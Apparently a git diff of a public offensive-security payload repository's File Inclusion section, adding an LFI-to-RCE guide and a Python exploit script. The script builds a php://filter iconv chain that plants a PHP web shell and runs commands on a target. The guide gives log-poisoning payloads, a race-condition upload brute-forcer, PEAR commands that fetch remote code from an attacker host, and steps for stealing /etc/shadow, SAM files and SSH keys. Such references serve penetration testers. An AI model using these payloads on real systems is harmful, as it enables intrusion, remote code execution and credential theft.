||||||
## References
|
## References
|
||||||
|
|
||||||
* [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
|
- [Cookieless ASPNET - Soroush Dalili - March 27, 2023](https://twitter.com/irsdl/status/1640390106312835072)
|
||||||
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
|
- [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
|
||||||
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
|
- [Directory traversal - Portswigger - March 30, 2019](https://portswigger.net/web-security/file-path-traversal)
|
||||||
* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
|
- [Directory traversal attack - Wikipedia - August 5, 2024](https://en.wikipedia.org/wiki/Directory_traversal_attack)
|
||||||
* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal)
|
- [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://youtu.be/YlZGJ28By8U)
|
||||||
|
- [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
|
||||||
|
- [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
|
||||||
|
- [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
|
||||||
|
- [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))
|
||||||
|
|||||||
60
File Inclusion/Files/LFI2RCE.py
Normal file
60
File Inclusion/Files/LFI2RCE.py
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
import requests
|
||||||
|
|
||||||
|
url = "http://localhost:8000/chall.php"
|
||||||
|
file_to_use = "/etc/passwd"
|
||||||
|
command = "id"
|
||||||
|
|
||||||
|
#<?=`$_GET[0]`;;?>
|
||||||
|
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
|
||||||
|
|
||||||
|
conversions = {
|
||||||
|
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
|
||||||
|
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
|
||||||
|
'C': 'convert.iconv.UTF8.CSISO2022KR',
|
||||||
|
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
|
||||||
|
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
|
||||||
|
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
|
||||||
|
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
|
||||||
|
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
|
||||||
|
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
|
||||||
|
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
|
||||||
|
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
|
||||||
|
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||||
|
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
|
||||||
|
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
|
||||||
|
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
|
||||||
|
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
|
||||||
|
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
|
||||||
|
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# generate some garbage base64
|
||||||
|
filters = "convert.iconv.UTF8.CSISO2022KR|"
|
||||||
|
filters += "convert.base64-encode|"
|
||||||
|
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
|
||||||
|
filters += "convert.iconv.UTF8.UTF7|"
|
||||||
|
|
||||||
|
|
||||||
|
for c in base64_payload[::-1]:
|
||||||
|
filters += conversions[c] + "|"
|
||||||
|
# decode and re-encode to get rid of everything that isn't valid base64
|
||||||
|
filters += "convert.base64-decode|"
|
||||||
|
filters += "convert.base64-encode|"
|
||||||
|
# get rid of equal signs
|
||||||
|
filters += "convert.iconv.UTF8.UTF7|"
|
||||||
|
|
||||||
|
filters += "convert.base64-decode"
|
||||||
|
|
||||||
|
final_payload = f"php://filter/{filters}/resource={file_to_use}"
|
||||||
|
|
||||||
|
with open('payload', 'w') as f:
|
||||||
|
f.write(final_payload)
|
||||||
|
|
||||||
|
r = requests.get(url, params={
|
||||||
|
"0": command,
|
||||||
|
"action": "include",
|
||||||
|
"file": final_payload
|
||||||
|
})
|
||||||
|
|
||||||
|
print(r.text)
|
||||||
@@ -53,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
|
|||||||
d += s.recv(offset)
|
d += s.recv(offset)
|
||||||
try:
|
try:
|
||||||
i = d.index("[tmp_name] =>")
|
i = d.index("[tmp_name] =>")
|
||||||
|
if i == -1:
|
||||||
|
i = d.index("[tmp_name] =>")
|
||||||
fn = d[i+17:i+31]
|
fn = d[i+17:i+31]
|
||||||
except ValueError:
|
except ValueError:
|
||||||
return None
|
return None
|
||||||
@@ -111,6 +113,8 @@ def getOffset(host, port, phpinforeq):
|
|||||||
break
|
break
|
||||||
s.close()
|
s.close()
|
||||||
i = d.find("[tmp_name] =>")
|
i = d.find("[tmp_name] =>")
|
||||||
|
if i == -1:
|
||||||
|
i = d.find("[tmp_name] =>")
|
||||||
if i == -1:
|
if i == -1:
|
||||||
raise ValueError("No php tmp_name in phpinfo output")
|
raise ValueError("No php tmp_name in phpinfo output")
|
||||||
|
|
||||||
315
File Inclusion/LFI-to-RCE.md
Normal file
315
File Inclusion/LFI-to-RCE.md
Normal file
@@ -0,0 +1,315 @@
|
|||||||
|
# LFI to RCE
|
||||||
|
|
||||||
|
> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
|
||||||
|
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
||||||
|
- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
|
||||||
|
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
||||||
|
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
||||||
|
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
|
||||||
|
- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
|
||||||
|
- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
|
||||||
|
- [RCE via SSH](#rce-via-ssh)
|
||||||
|
- [RCE via Mail](#rce-via-mail)
|
||||||
|
- [RCE via Apache logs](#rce-via-apache-logs)
|
||||||
|
- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
|
||||||
|
- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
|
||||||
|
- [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via /proc/*/fd
|
||||||
|
|
||||||
|
1. Upload a lot of shells (for example : 100)
|
||||||
|
2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
http://example.com/index.php?page=/proc/$PID/fd/$FD
|
||||||
|
```
|
||||||
|
|
||||||
|
## LFI to RCE via /proc/self/environ
|
||||||
|
|
||||||
|
Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||||
|
User-Agent: <?=phpinfo(); ?>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via iconv
|
||||||
|
|
||||||
|
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
|
||||||
|
|
||||||
|
|
||||||
|
**Requirements**:
|
||||||
|
|
||||||
|
* PHP 7.0.0 (2015) to 8.3.7 (2024)
|
||||||
|
* GNU C Library (`glibc`) <= 2.39
|
||||||
|
* Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
|
||||||
|
|
||||||
|
**Exploit**:
|
||||||
|
|
||||||
|
* [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via upload
|
||||||
|
|
||||||
|
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
|
```
|
||||||
|
|
||||||
|
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via upload (race)
|
||||||
|
|
||||||
|
* Upload a file and trigger a self-inclusion.
|
||||||
|
* Repeat the upload a shitload of time to:
|
||||||
|
* increase our odds of winning the race
|
||||||
|
* increase our guessing odds
|
||||||
|
* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
|
||||||
|
* Enjoy our shell.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import itertools
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
|
||||||
|
print('[+] Trying to win the race')
|
||||||
|
f = {'file': open('shell.php', 'rb')}
|
||||||
|
for _ in range(4096 * 4096):
|
||||||
|
requests.post('http://target.com/index.php?c=index.php', f)
|
||||||
|
|
||||||
|
|
||||||
|
print('[+] Bruteforcing the inclusion')
|
||||||
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||||
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||||
|
r = requests.get(url)
|
||||||
|
if 'load average' in r.text: # <?php echo system('uptime');
|
||||||
|
print('[+] We have got a shell: ' + url)
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
print('[x] Something went wrong, please try again')
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via upload (FindFirstFile)
|
||||||
|
|
||||||
|
:warning: Only works on Windows
|
||||||
|
|
||||||
|
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
|
||||||
|
|
||||||
|
* `*`/`<<` : Represents any sequence of characters.
|
||||||
|
* `?`/`>` : Represents any single character.
|
||||||
|
|
||||||
|
Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
|
||||||
|
Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via phpinfo()
|
||||||
|
|
||||||
|
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
|
||||||
|
|
||||||
|
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
|
||||||
|
|
||||||
|
Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||||
|
|
||||||
|
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via controlled log file
|
||||||
|
|
||||||
|
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=/var/log/apache/access.log
|
||||||
|
http://example.com/index.php?page=/var/log/apache/error.log
|
||||||
|
http://example.com/index.php?page=/var/log/apache2/access.log
|
||||||
|
http://example.com/index.php?page=/var/log/apache2/error.log
|
||||||
|
http://example.com/index.php?page=/var/log/nginx/access.log
|
||||||
|
http://example.com/index.php?page=/var/log/nginx/error.log
|
||||||
|
http://example.com/index.php?page=/var/log/vsftpd.log
|
||||||
|
http://example.com/index.php?page=/var/log/sshd.log
|
||||||
|
http://example.com/index.php?page=/var/log/mail
|
||||||
|
http://example.com/index.php?page=/var/log/httpd/error_log
|
||||||
|
http://example.com/index.php?page=/usr/local/apache/log/error_log
|
||||||
|
http://example.com/index.php?page=/usr/local/apache2/log/error_log
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### RCE via SSH
|
||||||
|
|
||||||
|
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
|
||||||
|
```
|
||||||
|
|
||||||
|
Then include the SSH log files inside the Web Application.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=/var/log/auth.log&cmd=id
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### RCE via Mail
|
||||||
|
|
||||||
|
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
root@kali:~# telnet 10.10.10.10. 25
|
||||||
|
Trying 10.10.10.10....
|
||||||
|
Connected to 10.10.10.10..
|
||||||
|
Escape character is '^]'.
|
||||||
|
220 straylight ESMTP Postfix (Debian/GNU)
|
||||||
|
helo ok
|
||||||
|
250 straylight
|
||||||
|
mail from: mail@example.com
|
||||||
|
250 2.1.0 Ok
|
||||||
|
rcpt to: root
|
||||||
|
250 2.1.5 Ok
|
||||||
|
data
|
||||||
|
354 End data with <CR><LF>.<CR><LF>
|
||||||
|
subject: <?php echo system($_GET["cmd"]); ?>
|
||||||
|
data2
|
||||||
|
.
|
||||||
|
```
|
||||||
|
|
||||||
|
In some cases you can also send the email with the `mail` command line.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### RCE via Apache logs
|
||||||
|
|
||||||
|
Poison the User-Agent in access logs:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
||||||
|
```
|
||||||
|
|
||||||
|
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
||||||
|
|
||||||
|
Then request the logs via the LFI and execute your command.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via PHP sessions
|
||||||
|
|
||||||
|
Check if the website use PHP Session (PHPSESSID)
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||||
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||||
|
```
|
||||||
|
|
||||||
|
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||||
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||||
|
```
|
||||||
|
|
||||||
|
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||||
|
```
|
||||||
|
|
||||||
|
Use the LFI to include the PHP session file
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via PHP PEARCMD
|
||||||
|
|
||||||
|
PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
|
||||||
|
|
||||||
|
The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
|
||||||
|
|
||||||
|
```ini
|
||||||
|
register_argc_argv = On
|
||||||
|
```
|
||||||
|
|
||||||
|
There are this ways to exploit it.
|
||||||
|
|
||||||
|
* **Method 1**: config create
|
||||||
|
```ps1
|
||||||
|
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
|
||||||
|
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Method 2**: man_dir
|
||||||
|
```ps1
|
||||||
|
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
|
||||||
|
/vuln.php?file=/tmp/exec.php&c=id
|
||||||
|
```
|
||||||
|
The created configuration file contains the webshell.
|
||||||
|
```php
|
||||||
|
#PEAR_Config 0.9
|
||||||
|
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Method 3**: download (need external network connection).
|
||||||
|
```ps1
|
||||||
|
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
|
||||||
|
/vuln.php?file=exec.php&c=id
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
|
||||||
|
```ps1
|
||||||
|
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
|
||||||
|
/vuln.php?file=/tmp/pear/download/exec.php&c=id
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via credentials files
|
||||||
|
|
||||||
|
This method require high privileges inside the application in order to read the sensitive files.
|
||||||
|
|
||||||
|
|
||||||
|
### Windows version
|
||||||
|
|
||||||
|
Extract `sam` and `system` files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
|
||||||
|
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
|
||||||
|
```
|
||||||
|
|
||||||
|
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
|
||||||
|
|
||||||
|
|
||||||
|
### Linux version
|
||||||
|
|
||||||
|
Extract `/etc/shadow` files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=../../../../../../etc/shadow
|
||||||
|
```
|
||||||
|
|
||||||
|
Then crack the hashes inside in order to login via SSH on the machine.
|
||||||
|
|
||||||
|
Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`.
|
||||||
|
If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home.
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [LFI2RCE via PHP Filters - HackTricks - 19/07/2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
|
||||||
|
* [Local file inclusion tricks - Johan Adriaans - August 4, 2007](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
|
||||||
|
* [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://gynvael.coldwind.pl/?id=376)
|
||||||
|
* [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||||
|
* [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
|
||||||
@@ -1,44 +1,45 @@
|
|||||||
# File Inclusion
|
# File Inclusion
|
||||||
|
|
||||||
> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
|
> A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
|
||||||
|
|
||||||
> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
- [Tools](#tools)
|
||||||
* [Basic LFI](#basic-lfi)
|
- [Local File Inclusion](#local-file-inclusion)
|
||||||
* [Null byte](#null-byte)
|
- [Null Byte](#null-byte)
|
||||||
* [Double encoding](#double-encoding)
|
- [Double Encoding](#double-encoding)
|
||||||
* [UTF-8 encoding](#utf-8-encoding)
|
- [UTF-8 Encoding](#utf-8-encoding)
|
||||||
* [Path and dot truncation](#path-and-dot-truncation)
|
- [Path Truncation](#path-truncation)
|
||||||
* [Filter bypass tricks](#filter-bypass-tricks)
|
- [Filter Bypass](#filter-bypass)
|
||||||
* [Basic RFI](#basic-rfi)
|
- [Remote File Inclusion](#remote-file-inclusion)
|
||||||
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
|
- [Null Byte](#null-byte-1)
|
||||||
* [Wrapper php://filter](#wrapper-phpfilter)
|
- [Double Encoding](#double-encoding-1)
|
||||||
* [Wrapper zip://](#wrapper-zip)
|
- [Bypass allow_url_include](#bypass-allow_url_include)
|
||||||
* [Wrapper data://](#wrapper-data)
|
- [Labs](#labs)
|
||||||
* [Wrapper expect://](#wrapper-expect)
|
- [References](#references)
|
||||||
* [Wrapper input://](#wrapper-input)
|
|
||||||
* [Wrapper phar://](#wrapper-phar)
|
|
||||||
* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
|
|
||||||
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
|
||||||
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
|
||||||
* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
|
||||||
* [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
|
|
||||||
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
|
|
||||||
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
|
|
||||||
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
|
|
||||||
* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files)
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
|
* [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
|
||||||
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
|
* [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
|
||||||
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
* [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
|
||||||
* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic)
|
* [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
|
||||||
|
* [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool
|
||||||
|
|
||||||
## Basic LFI
|
|
||||||
|
## Local File Inclusion
|
||||||
|
|
||||||
|
**File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
|
||||||
|
|
||||||
|
Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution.
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$file = $_GET['page'];
|
||||||
|
include($file);
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
|
In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
|
||||||
|
|
||||||
@@ -46,31 +47,41 @@ In the following examples we include the `/etc/passwd` file, check the `Director
|
|||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
|
|
||||||
### Null byte
|
|
||||||
|
|
||||||
:warning: In versions of PHP below 5.3.4 we can terminate with null byte.
|
|
||||||
|
### Null Byte
|
||||||
|
|
||||||
|
:warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
|
|
||||||
### Double encoding
|
**Example**: Joomla! Component Web TV 1.0 - CVE-2010-1470
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Double Encoding
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||||
```
|
```
|
||||||
|
|
||||||
### UTF-8 encoding
|
|
||||||
|
### UTF-8 Encoding
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
